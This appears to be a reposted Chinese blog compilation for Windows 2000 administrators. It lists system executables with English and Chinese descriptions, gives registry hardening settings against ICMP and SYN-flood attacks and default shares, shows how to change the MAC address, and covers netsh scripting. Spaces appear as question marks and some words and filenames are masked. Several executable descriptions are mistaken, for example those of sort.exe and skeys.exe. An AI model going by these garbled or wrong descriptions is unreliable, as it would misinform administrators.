iisreset.exe?>?Restart?IIS?Admin?Service?重啟IIS服務?



internat.exe?>?Keyboard?Language?Indicator?Applet?鍵盤語言指示器?



ipconfig.exe?>?Windows?2000?IP?configuration.?察看IP配置?



ipsecmon.exe?>?IP?Security?Monitor?IP安全監視器?



ipxroute.exe?>?IPX?Routing?and?Source?Routing?Control?Program?IPX路由和源路由控制程序?



irftp.exe?>?Setup?FTP?for?wireless?communication?無線連接?



ismserv.exe?>?Intersite?messaging?Service?安裝或者刪除Service?Control?Manager中的服務?



jdbgmgr.exe?>?Microsoft?debugger?for?java?4?Java4的調試器?



jetconv.exe?>?Convert?a?Jet?Engine?Database?轉換Jet?Engine數據庫?



jetpack.exe?>?Compact?Jet?Database.?壓縮Jet數據庫?



jview.exe?>?Command-line?loader?for?Java?Java的命令行裝載者?



krnl386.exe?>?Core?Component?for?Windows?2000?2000的核心組件?



label.exe?>?Change?label?for?drives?改變驅動器的卷標?



lcwiz.exe?>?License?Compliance?Wizard?for?local?or?remote?systems.?許可證符合向導?



ldifde.exe?>?LDIF?cmd?line?manager?LDIF目錄交換命令行管理?



licmgr.exe?>?Terminal?Server?License?Manager?終端服務許可協議管理?



lights.exe?>?display?connection?status?lights?顯示連接狀況?



llsmgr.exe?>?Windows?2000?License?Manager?2000許可協議管理?



ll***v.exe?>?Start?the?license?Server?啟動許可協議服務器?



lnkstub.exe?>?



locator.exe?>?RPC?Locator?遠程定位?



lodctr.exe?>?Load?perfmon?counters?調用性能計數?



logoff.exe?>?Log?current?user?off.?注銷用戶?



lpq.exe?>?Displays?status?of?a?remote?LPD?queue?顯示遠端的LPD打印隊列的狀態，顯示被送到基于Unix的服務器的打印任務?



lpr.exe?>?Send?a?print?job?to?a?network?printer.?重定向打印任務到網絡中的打印機。通常用于Unix客戶打印機將打印任務發送給連接了打印設備的NT的打印機服務器。?



lsass.exe?>?LSA?Executable?and?Server?DLL?運行LSA和Server的DLL?



lserver.exe?>?Specifies?the?new?DNS?domain?for?the?default?server?指定默認Server新的DNS域?



macfile.exe?>?Used?for?managing?MACFILES?管理MACFILES?



magnify.exe?>?Used?to?magnify?the?current?screen?放大鏡?



makecab.exe?>?MS?Cabinet?Maker?制作CAB文件?



mdm.exe?>?Machine?Debug?Manager?機器調試管理?



mem.exe?>?Display?current?Memory?stats?顯示內存狀態?



migpwd.exe?>?Migrate?passwords.?遷移密碼?



mmc.exe?>?Microsoft?Management?Console?控制臺?



mnmsrvc.exe?>?Netmeeting?Remote?Desktop?Sharing?NetMeeting遠程桌面共享?



mobsync.exe?>?Manage?Synchronization.?同步目錄管理器?



mountvol.exe?>?Creates,?deletes,?or?lists?a?volume?mount?point.?創建、刪除或列出卷的裝入點。?



mplay32.exe?>?MS?Media?Player?媒體播放器?



mpnotify.exe?>?Multiple?Provider?Notification?application?多提供者通知應用程序?



mq1sync.exe?>?



mqbkup.exe?>?MS?Message?Queue?Backup?and?Restore?Utility?信息隊列備份和恢復工具?



mqexchng.exe?>?MSMQ?Exchange?Connector?Setup?信息隊列交換連接設置?



mqmig.exe?>?MSMQ?Migration?Utility?信息隊列遷移工具?



mqsvc.exe?>???



mrinfo.exe?>?Multicast?routing?using?SNMP?使用SNMP多點傳送路由?



mscdexnt.exe?>?Installs?MSCD?(MS?CD?Extensions)?安裝MSCD?



msdtc.exe?>?Dynamic?Transaction?Controller?Console?動態事務處理控制臺?



msg.exe?>?Send?a?message?to?a?user?local?or?remote.?發送消息到本地或遠程客戶?



mshta.exe?>?HTML?Application?HOST?HTML應用程序主機?



msiexec.exe?>?Starts?Windows?Installer?Program?開始Windows安裝程序?



mspaint.exe?>?Microsoft?Paint?畫板?



msswchx.exe?>?



mstask.exe?>?Task?Schedule?Program?任務計劃表程序?



mstinit.exe?>?Task?scheduler?setup?任務計劃表安裝?



narrator.exe?>?Program?will?allow?you?to?have?a?narrator?for?reading.?Microsoft講述人?



nbtstat.exe?>?Displays?protocol?stats?and?current?TCP/IP?connections?using?NBT?使用?NBT（TCP/IP?上的?NetBIOS）顯示協議統計和當前?TCP/IP?連接。?



nddeapir.exe?>?NDDE?API?Server?side?NDDE?API服務器端?



net.exe?>?Net?Utility?詳細用法看/？?



net1.exe?>?Net?Utility?updated?version?from?MS?Net的升級版?



netdde.exe?>?Network?DDE?will?install?itself?into?the?background?安裝自己到后臺?



netsh.exe?>?Creates?a?shell?for?network?information?用于配置和監控?Windows?2000?命令行腳本接口。?



netstat.exe?>?Displays?current?connections.?顯示協議統計和當前的?TCP/IP?網絡連接。?



nlsfunc.exe?>?Loads?country-specific?information?加載特定國家（地區）的信息。Windows?2000?和?MS-DOS?子系統不使用該命令。接受該命令只是為了與?MS-DOS?文件兼容。?



notepad.exe?>?Opens?Windows?2000?Notepad?記事本?



nslookup.exe?>?Displays?information?for?DNS?該診斷工具顯示來自域名系統?(DNS)?名稱服務器的信息。?



ntbackup.exe?>?Opens?the?NT?Backup?Utility?備份和故障修復工具?



ntbooks.exe?>?Starts?Windows?Help?Utility?幫助?



ntdsutil.exe?>?Performs?DB?maintenance?of?the?ADSI?完成ADSI的DB的維護?



ntfrs.exe?>?NT?File?Replication?Service?NT文件復制服務?



ntfrsupg.exe?>?



ntkrnlpa.exe?>?Kernel?patch?核心補丁?



ntoskrnl.exe?>?Core?NT?Kernel?KT的核心?



ntsd.exe?>?



ntvdm.exe?>?Simulates?a?16-bit?Windows?environment?模擬16位Windows環境?



nw16.exe?>?Netware?Redirector?NetWare轉向器?



nw..exe?>?runs?netware?.s?運行Netware腳本?



odbcad32.exe?>?ODBC?32-bit?Administrator?32位ODBC管理?



odbcconf.exe?>?Configure?ODBC?driver's?and?data?source's?from?command?line?命令行配置ODBC驅動和數據源?



os2.exe?>?An?OS/2?Warp?Server?(os2?/o)?OS/2?



os2srv.exe?>?An?OS/2?Warp?Server?OS/2?



os2ss.exe?>?An?OS/2?Warp?Server?OS/2?



osk.exe?>?On?Screen?Keyboard?屏幕鍵盤?



packager.exe?>?Windows?2000?Packager?Manager?對象包裝程序?



pathping.exe?>?Combination?of?Ping?and?Tracert?包含Ping和Tracert的程序?



pax.exe?>?is?a?POSIX?program?and?path?names?used?as?arguments?must?be?specified?in?POSIX?format.?Use?"file://C/Users/Default"?instead?of?"C:\USERS\DEFAULT."?啟動便攜式存檔互換?(Pax)?實用程序?



pentnt.exe?>?Used?to?check?the?Pentium?for?the?floating?point?division?error.?檢查Pentium的浮點錯誤?



perfmon.exe?>?Starts?Windows?Performance?Monitor?性能監視器?



ping.exe?>?Packet?Internet?Groper?驗證與遠程計算機的連接?



posix.exe?>?Used?for?backward?compatibility?with?Unix?用于兼容Unix?



print.exe?>?Cmd?line?used?to?print?files?打印文本文件或顯示打印隊列的內容。?



progman.exe?>?Program?manager?程序管理器?



proquota.exe?>?Profile?quota?program?



psxss.exe?>?POSIX?Subsystem?Application?Posix子系統應用程序?



qappsrv.exe?>?Displays?the?available?application?terminal?servers?on?the?network?
在網絡上顯示終端服務器可用的程序?



qprocess.exe?>?Display?information?about?processes?local?or?remote?在本地或遠程顯示進程的信息（需終端服務）?



query.exe?>?Query?TERMSERVER?user?process?and?sessions?查詢進程和對話?



quser.exe?>?Display?information?about?a?user?logged?on?顯示用戶登陸的信息（需終端服務）?



qwinsta.exe?>?Display?information?about?Terminal?Sessions.?顯示終端服務的信息?



rasadmin.exe?>?Start?the?remote?access?admin?service?啟動遠程訪問服務?



rasautou.exe?>?Creates?a?RAS?connection?建立一個RAS連接?



rasdial.exe?>?Dial?a?connection?撥號連接?



rasphone.exe?>?Starts?a?RAS?connection?運行RAS連接?



rcp.exe?>?Copies?a?file?from?and?to?a?RCP?service.?在?Windows?2000?計算機和運行遠程外殼端口監控程序?rshd?的系統之間復制文件?



rdpclip.exe?>?RdpClip?allows?you?to?copy?and?paste?files?between?a?terminal?session?and?client?console?session.?再終端和本地復制和粘貼文件?



recover.exe?>?Recovers?readable?information?from?a?bad?or?defective?disk?從壞的或有缺陷的磁盤中恢復可讀取的信息。?



redir.exe?>?Starts?the?redirector?service?運行重定向服務?



regedt32.exe?>?32-bit?register?service?32位注冊服務?



regini.exe?>?modify?registry?permissions?from?within?a?.?用腳本修改注冊許可?



register.exe?>?Register?a?program?so?it?can?have?special?execution?characteristics.?注冊包含特殊運行字符的程序?



regsvc.exe?>?



regsvr32.exe?>?Registers?and?unregister's?dll's.?As?to?how?and?where?it?register's?them?I?dont?know.?注冊和反注冊DLL?



regtrace.exe?>?Options?to?tune?debug?options?for?applications?failing?to?dump?trace?statements?
Trace?設置?
regwiz.exe?>?Registration?Wizard?注冊向導?



remrras.exe?>?



replace.exe?>?Replace?files?用源目錄中的同名文件替換目標目錄中的文件。?



reset.exe?>?Reset?an?active?section?重置活動部分?



rexec.exe?>?Runs?commands?on?remote?hosts?running?the?REXEC?service.?在運行?REXEC?服務的遠程計算機上運行命令。rexec?命令在執行指定命令前，驗證遠程計算機上的用戶名，只有安裝了?TCP/IP?協議后才可以使用該命令。?



risetup.exe?>?Starts?the?Remote?Installation?Service?Wizard.?運行遠程安裝向導服務?



route.exe?>?display?or?edit?the?current?routing?tables.?控制網絡路由表?



routemon.exe?>?no?longer?supported?不再支持了！?



router.exe?>?Router?software?that?runs?either?on?a?dedicated?DOS?or?on?an?OS/2?system.?Route軟件在?DOS或者是OS/2系統?



rsh.exe?>?Runs?commands?on?remote?hosts?running?the?RSH?service?在運行?RSH?服務的遠程計算機上運行命令?



rsm.exe?>?Mounts?and?configures?remote?system?media?配置遠程系統媒體?



rsnotify.exe?>?Remote?storage?notification?recall?遠程存儲通知回顯?



rsvp.exe?>?Resource?reservation?protocol?源預約協議?



runas.exe?>?RUN?a?program?as?another?user?允許用戶用其他權限運行指定的工具和程序?



rundll32.exe?>?Launches?a?32-bit?dll?program?啟動32位DLL程序?



runonce.exe?>?Causes?a?program?to?run?during?startup?運行程序再開始菜單中?



rwinsta.exe?>?Reset?the?session?subsystem?hardware?and?software?to?known?initial?values?重置會話子系統硬件和軟件到最初的值?



savedump.exe?>?Does?not?write?to?e:\winnt\user.dmp?不寫入User.dmp中?



scardsvr.exe?>?Smart?Card?resource?management?server?子能卡資源管理服務器?



schupgr.exe?>?It?will?read?the?schema?update?files?(.ldf?files)?and?upgrade?the?schema.?(part?of?ADSI)?讀取計劃更新文件和更新計劃?



secedit.exe?>?Starts?Security?Editor?help?自動安全性配置管理?



services.exe?>?Controls?all?the?services?控制所有服務?



sethc.exe?>?Set?High?Contrast?-?changes?colours?and?display?mode?Logoff?to?set?it?back?to?normal?設置高對比?



setreg.exe?>?Shows?the?Software?Publishing?State?Key?Values?顯示軟件發布的國家語言?



setup.exe?>?GUI?box?prompts?you?to?goto?control?panel?to?configure?system?components?安裝程序（轉到控制面板）?



setver.exe?>?Set?Version?for?Files?設置?MS-DOS?子系統向程序報告的?MS-DOS?版本號?



sfc.exe?>?System?File?Checker?test?and?check?system?files?for?integrity?系統文件檢查?



sfmprint.exe?>?Print?Services?for?Macintosh?打印Macintosh服務?



sfmpsexe.exe?>?



sfmsvc.exe?>?



shadow.exe?>?Monitor?another?Terminal?Services?session.?監控另外一臺中端服務器會話?



share.exe?>?Windows?2000?和?MS-DOS?子系統不使用該命令。接受該命令只是為了與?MS-DOS?文件兼容?



shmgrate.exe?>?



shrpubw.exe?>?Create?and?Share?folders?建立和共享文件夾?



sigverif.exe?>?File?Signature?Verification?文件簽名驗證?



skeys.exe?>?Serial?Keys?utility?序列號制作工具?



smlogsvc.exe?>?Performance?Logs?and?Alerts?性能日志和警報?



smss.exe?>?



sndrec32.exe?>?starts?the?Windows?Sound?Recorder?錄音機?



sndvol32.exe?>?Display?the?current?volume?information?顯示聲音控制信息?



snmp.exe?>?Simple?Network?Management?Protocol?used?for?Network?Mangement?簡單網絡管理協議?



snmptrap.exe?>?Utility?used?with?SNMP?SNMP工具?



sol.exe?>?Windows?Solitaire?Game?紙牌?



sort.exe?>?Compares?files?and?Folders?讀取輸入、排序數據并將結果寫到屏幕、文件和其他設備上?



SPOOLSV.EXE?>?Part?of?the?spooler?service?for?printing?打印池服務的一部分?



sprestrt.exe?>?



srvmgr.exe?>?Starts?the?Windows?Server?Manager?服務器管理器?



stimon.exe?>?WDM?StillImage-?>?Monitor?



stisvc.exe?>?WDM?StillImage-?>?Service?



subst.exe?>?Associates?a?path?with?a?drive?letter?將路徑與驅動器盤符關聯?



svchost.exe?>?Svchost.exe?is?a?generic?host?process?name?for?services?that?are?run?from?dynamic-link?libraries?(DLLs).?DLL得主進程?



syncapp.exe?>?Creates?Windows?Briefcase.?創建Windows文件包?



sysedit.exe?>?Opens?Editor?for?4?system?files?系統配置編輯器?



syskey.exe?>?Encrypt?and?secure?system?database?NT賬號數據庫按群工具?



sysocmgr.exe?>?Windows?2000?Setup?2000安裝程序?



systray.exe?>?Starts?the?systray?in?the?lower?right?corner.?在低權限運行systray?



taskman.exe?>?Task?Manager?任務管理器?



taskmgr.exe?>?Starts?the?Windows?2000?Task?Manager?任務管理器?



tcmsetup.exe?>?telephony?client?wizard?電話服務客戶安裝?



tcpsvcs.exe?>?TCP?Services?TCP服務?



.exe?>?Telnet?Utility?used?to?connect?to?Telnet?Server?



termsrv.exe?>?Terminal?Server?終端服務?



tftp.exe?>?Trivial?FTP?將文件傳輸到正在運行?TFTP?服務的遠程計算機或從正在運行?TFTP?服務的遠程計算機傳輸文件?



tftpd.exe?>?Trivial?FTP?Daemon?



themes.exe?>?Change?Windows?Themes?桌面主題?



tlntadmn.exe?>?Telnet?Server?Administrator?Telnet服務管理?



tlntsess.exe?>?Display?the?current?Telnet?Sessions?顯示目前的Telnet會話?



tlntsvr.exe?>?Start?the?Telnet?Server?開始Telnet服務?



tracert.exe?>?Trace?a?route?to?display?paths?該診斷實用程序將包含不同生存時間?(TTL)?值的?Internet?控制消息協議?(ICMP)?回顯數據包發送到目標，以決定到達目標采用的路由?



tsadmin.exe?>?Terminal?Server?Administrator?終端服務管理器?



tscon.exe?>?Attaches?a?user?session?to?a?terminal?session.?粘貼用戶會話到終端對話?



tsdiscon.exe?>?Disconnect?a?user?from?a?terminal?session?斷開終端服務的用戶?



tskill.exe?>?Kill?a?Terminal?server?process?殺掉終端服務?



tsprof.exe?>?Used?with?Terminal?Server?to?query?results.?用終端服務得出查詢結果?



tsshutdn.exe?>?Shutdown?the?system?關閉系統?



unlodctr.exe?>?Part?of?performance?monitoring?性能監視器的一部分?



upg351db.exe?>?Upgrade?a?jet?database?升級Jet數據庫?



ups.exe?>?UPS?service?UPS服務?



user.exe?>?Core?Windows?Service?Windows核心服務?



userinit.exe?>?Part?of?the?winlogon?process?Winlogon進程的一部分?



usrmgr.exe?>?Start?the?windows?user?manager?for?domains?域用戶管理器?



utilman.exe?>?This?tool?enables?an?administrator?to?designate?which?computers?automatically?open?accessibility?tools?when?Windows?2000?starts.?指定2000啟動時自動打開那臺機器?



verifier.exe?>?Driver?Verifier?Manager?Driver?Verifier?Manager?



vwipxspx.exe?>?Loads?IPX/SPX?VDM?調用IPX/SPX?VDM?



w32tm.exe?>?Windows?Time?Server?時間服務器?



wextract.exe?>?Used?to?extract?windows?files?解壓縮Windows文件?



winchat.exe?>?Opens?Windows?Chat?打開Windows聊天?



winhlp32.exe?>?Starts?the?Windows?Help?System?運行幫助系統?



winlogon.exe?>?Used?as?part?of?the?logon?process.?Logon進程的一部分?



winmine.exe?>?windows?Game?挖地雷?



winmsd.exe?>?Windows?Diagnostic?utility?系統信息?



wins.exe?>?Wins?Service?Wins服務?



winspool.exe?>?Print?Routing?打印路由?



winver.exe?>?Displays?the?current?version?of?Windows?顯示Windows版本?



wizmgr.exe?>?Starts?Windows?Administration?Wizards?Windows管理向導?



wjview.exe?>?Command?line?loader?for?Java?命令行調用Java?



wowdeb.exe?>?.?For?starters,?the?32-bit?APIs?require?that?the?WOWDEB.EXE?task?runs?in?the?target?debugee's?VM?啟動時，32位API需要?



wowexec.exe?>?For?running?Windows?over?Windows?Applications?在Windows應用程序上運行Windows?



wpnpinst.exe?>???



write.exe?>?Starts?MS?Write?Program?寫字板?



w..exe?>?Windows?.ing?Utility?腳本工具?



wupdmgr.exe?>?Starts?the?Windows?update?Wizard?(Internet)?運行Windows升級向導?



xcopy.exe?>?Used?to?copy?directories?復制文件和目錄，包括子目錄



　　1、設置生存時間?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters?



　　DefaultTTL?REG_DWORD?0-0xff(0-255?十進制，默認值128)?



　　說明：指定傳出IP數據包中設置的默認生存時間(TTL)值。TTL決定了IP數據包在到達目標前在網絡中生存的最大時間。它實際上限定了IP數據包在丟棄前允許通過的路由器數量.有時利用此數值來探測遠程主機操作系統。?　　2、防止ICMP重定向報文的***?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters?



　　EnableICMPRedirects?REG_DWORD?0x0(默認值為0x1)?



　　說明：該參數控制Windows?2000是否會改變其路由表以響應網絡設備(如路由器)發送給它的ICMP重定向消息，有時會被利用來干壞事.Win2000中默認值為1，表示響應ICMP重定向報文。



　　3、禁止響應ICMP路由通告報文?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter?



　　faces\interface?



　　PerformRouterDiscovery?REG_DWORD?0x0(默認值為0x2)?



　　說明："ICMP路由公告"功能可造成他人計算機的網絡連接異常，數據被竊聽，計算機被用于流量***等嚴重后果.此問題曾導致校園網某些局域網大面積，長時間的網絡異常。因此建議關閉響應ICMP路由通告報文.Win2000中默認值為2，表示當DHCP發送路由器發現選項時啟用。



　　4、防止SYN洪水***?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters?



　　SynAttackProtect?REG_DWORD?0x2(默認值為0x0)?



　　說明：SYN***保護包括減少SYN-ACK重新傳輸次數，以減少分配資源所保留的時間。路由緩存項資源分配延遲，直到建立連接為止.如果synattackprotect=2，則AFD的連接指示一直延遲到三路握手完成為止.注意，僅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried設置超出范圍時，保護機制才會采取措施。



　5、禁止C$、D$一類的缺省共享?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters?



　　AutoShareServer、REG_DWORD、0x0?



　　6、禁止ADMIN$缺省共享?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters?



　　AutoShareWks、REG_DWORD、0x0?



　　7、限制IPC$缺省共享?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa?



　　restrictanonymous?REG_DWORD?0x0?缺省?



　　　　　　　　　　　　　　0x1?匿名用戶無法列舉本機用戶列表?



　　　　　　　　　　　　　　0x2?匿名用戶無法連接本機IPC$共享?



　　說明：不建議使用2，否則可能會造成你的一些服務無法啟動，如SQL?Server



　　8、不支持IGMP協議?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters?



　　IGMPLevel?REG_DWORD?0x0(默認值為0x2)?



　　說明：記得Win9x下有個bug，就是用可以用IGMP使別人藍屏，修改注冊表可以修正這個bug.Win2000雖然沒這個bug了，但IGMP并不是必要的，因此照樣可以去掉。改成0后用route?print將看不到那個討厭的224.0.0.0項了。



　　9、設置arp緩存老化時間設置?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters?



　　ArpCacheLife　REG_DWORD?0-0xFFFFFFFF(秒數，默認值為120秒)?



　　ArpCacheMinReferencedLife　REG_DWORD?0-0xFFFFFFFF(秒數，默認值為600)?



　　說明：如果ArpCacheLife大于或等于ArpCacheMinReferencedLife，則引用或未引用的ARP緩存項在ArpCacheLife秒后到期。如果ArpCacheLife小于ArpCacheMinReferencedLife，未引用項在ArpCacheLife秒后到期，而引用項在ArpCacheMinReferencedLife秒后到期。每次將出站數據包發送到項的IP地址時，就會引用ARP緩存中的項。?



　10、禁止死網關監測技術?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters?



　　EnableDeadGWDetect?REG_DWORD?0x0(默認值為ox1)?



　　說明：如果你設置了多個網關，那么你的機器在處理多個連接有困難時，就會自動改用備份網關。有時候這并不是一項好主意，建議禁止死網關監測。



　　11、不支持路由功能?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters?



　　IPEnableRouter?REG_DWORD?0x0(默認值為0x0)?



　　說明：把值設置為0x1可以使Win2000具備路由功能，由此帶來不必要的問題。



　　12、做NAT時放大轉換的對外端口最大值?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters?



　　MaxUserPort?REG_DWORD?5000-65534(十進制)(默認值0x1388--十進制為5000)?



　　說明：當應用程序從系統請求可用的用戶端口數時，該參數控制所使用的最大端口數。正常情況下，短期端口的分配數量為1024-5000。將該參數設置到有效范圍以外時，就會使用最接近的有效數值(5000或65534)。使用NAT時建議把值放大點。



　　13、修改MAC地址?



　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\?



　　找到右窗口的說明為"網卡"的目錄，?



　　比如說是{4D36E972-E325-11CE-BFC1-08002BE10318}?



展開之，在其下的0000，0001，0002...的分支中找到"DriverDesc"的鍵值為你網卡的說明，比如說"DriverDesc"的值為"Intel(R)?82559?Fast?Ethernet?LAN?on?Motherboard"然后在右窗口新建一字符串值，名字為"Networkaddress"，內容為你想要的MAC值，比如說是"004040404040"然后重起計算機，ipconfig?/all看看。?
曾幾何時，大家都有想過在命令行下改IP和網關。以前在NT4下實現起來過于麻煩，現在Windows?2000下的Netsh命令能實現該功能了。



Netsh?是本地或遠程計算機的?Windows?2000?網絡組件的命令行和腳本實用程序。為了存檔或配置其他服務器，Netsh?實用程序也可以將配置腳本保存在文本文件中。



Netsh?實用程序是一個外殼，它通過附加的"Netsh?幫助?DLL"，可以支持多個?Windows?2000?組件。"Netsh?幫助?DLL"提供用來監視或配置特定?Windows?2000?網絡組件的其他命令，從而擴展了?Netsh?的功能。每個"Netsh?幫助?DLL"都為特定的網絡組件提供了一個環境和一組命令。每個環境中都可以有子環境。例如，在路由環境中存在子環境?Ip?和?Ipx，它們將?IP?路由和?IPX?路由命令集中在一起。



Netsh?命令行選項包括下列各項：



用法:?netsh?[-a?AliasFile]?[-c?Context]?[-r?RemoteMachine]?
[Command?|?-f?.File]



下列指令有效:



此上下文中的命令:?
??-?顯示命令列表。?
aaaa?-?更改到?`aaaa'?上下文。?
add?-?將一個配置項添加到項目列表中。?
delete?-?在項目列表上刪除一個配置項目。?
dhcp?-?更改到?`dhcp'?上下文。?
dump?0?-?顯示一個配置腳本。?
exec?-?運行一個腳本文件。?
help?-?顯示命令列表。?
interface?-?更改到?`interface'?上下文。?
ras?-?更改到?`ras'?上下文。?
routing?-?更改到?`routing'?上下文。?
set?-?更新配置設置。?
show?-?顯示信息?
wins?-?更改到?`wins'?上下文。



下列的子上下文可用:?
routing?interface?ras?dhcp?wins?aaaa



若需要命令的更多幫助信息，請鍵入命令，?
后面跟??。?
-a?AliasFile?
指定使用了一個別名文件。別名文件包含?netsh?命令列表和一個別名版本，所以可以使用別名命令行替換?netsh?命令。可以使用別名文件將其他平臺中更熟悉的命令映射到適當的?netsh?命令。



-c?Context?
指定對應于已安裝的支持?DLL?的命令環境。



命令?
指定要執行的?netsh?命令。



-f?.File?
指定運行?.File?文件中所有的?netsh?命令。



-r?RemoteMachine?
指定在遠程計算機上運行?netsh?命令，由名稱或?IP?地址來指定遠程計算機。



您可以將命令縮寫為意義明確的最短的字符串。例如，發布?sh?ip?int?命令相當于發布?show?ip?interface。Netsh?命令可以是全局的或特定環境的。全局命令可以在任何環境中發布，并用于一般的?Netsh?實用程序功能。特定環境的命令隨環境而變化。您可以將發布的命令記錄在日志文件中，以創建?netsh?命令會話的審核蹤跡。



列出了?netsh?全局命令。



命令?說明?
..?上移一個環境等級。?
??或?help?顯示命令行"幫助"。?
show?version?顯示?Windows?和?Netsh?實用程序的當前版本。?
show?netdlls?顯示已安裝的"Netsh?幫助?DLL"的當前版本。?
add?helper?添加"Netsh?幫助?DLL"。?
delete?helper?刪除"Netsh?幫助?DLL"。?
show?helper?顯示已安裝的"Netsh?幫助?DLL"。?
cmd?創建?Windows?2000?命令窗口。?
online?將當前模式設置為聯機。?
offline?將當前模式設置為脫機。?
set?mode?將當前模式設置為聯機或脫機。?
show?mode?顯示當前模式。?
flush?丟棄以脫機模式進行的任何更改。?
commit?提交以脫機模式進行的更改。?
set?audit-logging?打開或關閉記錄工具。?
show?audit-logging?顯示當前的審核記錄設置。?
set?loglevel?設置記錄信息的級別?
show?loglevel?顯示記錄信息的級別。?
set?machine?配置執行?netsh?命令的計算機。?
show?machine?顯示執行?netsh?命令的計算機。?
exec?執行包括?netsh?命令的腳本文件。?
quit?或?bye?或?exit?退出?Netsh?實用程序。?
add?alias?向現有命令添加別名。?
delete?alias?刪除現有命令的別名。?
show?alias?顯示所有已定義的別名。?
dump?將配置寫入文本文件。?
popd?從堆棧中彈出環境的腳本命令。?
pushd?將當前的環境推入堆棧的腳本命令。?



Netsh?實用程序有如下命令模式：



聯機?
聯機模式下，在?Netsh?命令提示符下發布的命令被立即執行。



脫機?
脫機模式下,將在?Netsh?命令提示符下積累發布的命令，并通過發布?commit?全局命令來按照批處理方式執行。可以通過發布?flush?全局命令來丟棄積累的命令。



腳本?
使用?-f?命令行選項，或在?Netsh?命令提示符下發布?exec?全局命令，可以執行指定文件中所有的?netsh?命令。



要創建當前配置的腳本，請使用?dump?全局命令。dump?命令根據?netsh?命令輸出當前運行的配置。可以使用該命令創建的腳本來配置新的服務器或重新配置現有的服務器。如果要對組件的配置作很大的更改，推薦您使用?dump?命令開始配置會話，以防在進行更改前需要還原配置。



Interface?命令?
下表列出了可在?Windows?2000?命令提示符下鍵入的?netsh?命令，這些命令用于管理運行?Windows?2000?Server?及"路由和遠程訪問"服務的計算機上的接口設置。如果對某個特殊功能有多個命令，則在每個命令之間用斜線?(/)?分隔。



當在命令提示符下鍵入命令時，請在每個命令前加上?netsh。要獲得每個命令的精確語法，可在命令之后鍵入??。選項例如，要獲得?netsh?interface?命令的命令行"幫助"，請在命令提示符下鍵入?netsh?interface?。



命令?說明?
interface?set/show?interface?啟用、禁用、連接、斷開連接以及顯示請求撥號接口的配置。?
interface?set/show?credentials?在請求撥號接口上配置或顯示用戶名、密碼和域名。?




言歸正傳，現在來看看WIN2000下的網絡設置的配置。?D:\>netsh?
netsh>interface?
interface>dump?
#========================?
#?接口配置?
#========================?
pushd?interface



reset?all




popd?
#?接口配置結束



#?----------------------------------?
#?接口?IP?配置?
#?----------------------------------?
pushd?interface?ip




#?"本地連接?2"?的接口?IP?配置



set?address?name?=?"本地連接?2"?source?=?dhcp?
set?dns?name?=?"本地連接?2"?source?=?dhcp?
set?wins?name?=?"本地連接?2"?source?=?dhcp



#?"本地連接"?的接口?IP?配置



set?address?name?=?"本地連接"?source?=?static?addr?=?192.168.1.10?mask?=?255.255.255.0?
set?address?name?=?"本地連接"?gateway?=?192.168.0.1?gwmetric?=?1?
set?dns?name?=?"本地連接"?source?=?static?addr?=?192.168.0.1?
set?wins?name?=?"本地連接"?source?=?static?addr?=?none




popd?
#?接口?IP?配置結束




如果,你想快速修改一個本地IP地址。?
你可以先用文本寫入以下的內容：



interface?ip?
set?address?本地連接?static?192.168.5.10?255.255.255.0?192.168.0.1?1?
^^^?^^^?^^^?^^^?^^?
接口名稱?IP地址?子網掩碼?網關?接口躍點數



如上保存為?local.sh



D:\>netsh?exec?local.sh

轉載于:https://blog.51cto.com/eagle/131859

總結

以上是生活随笔為你收集整理的几个有用的资料的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。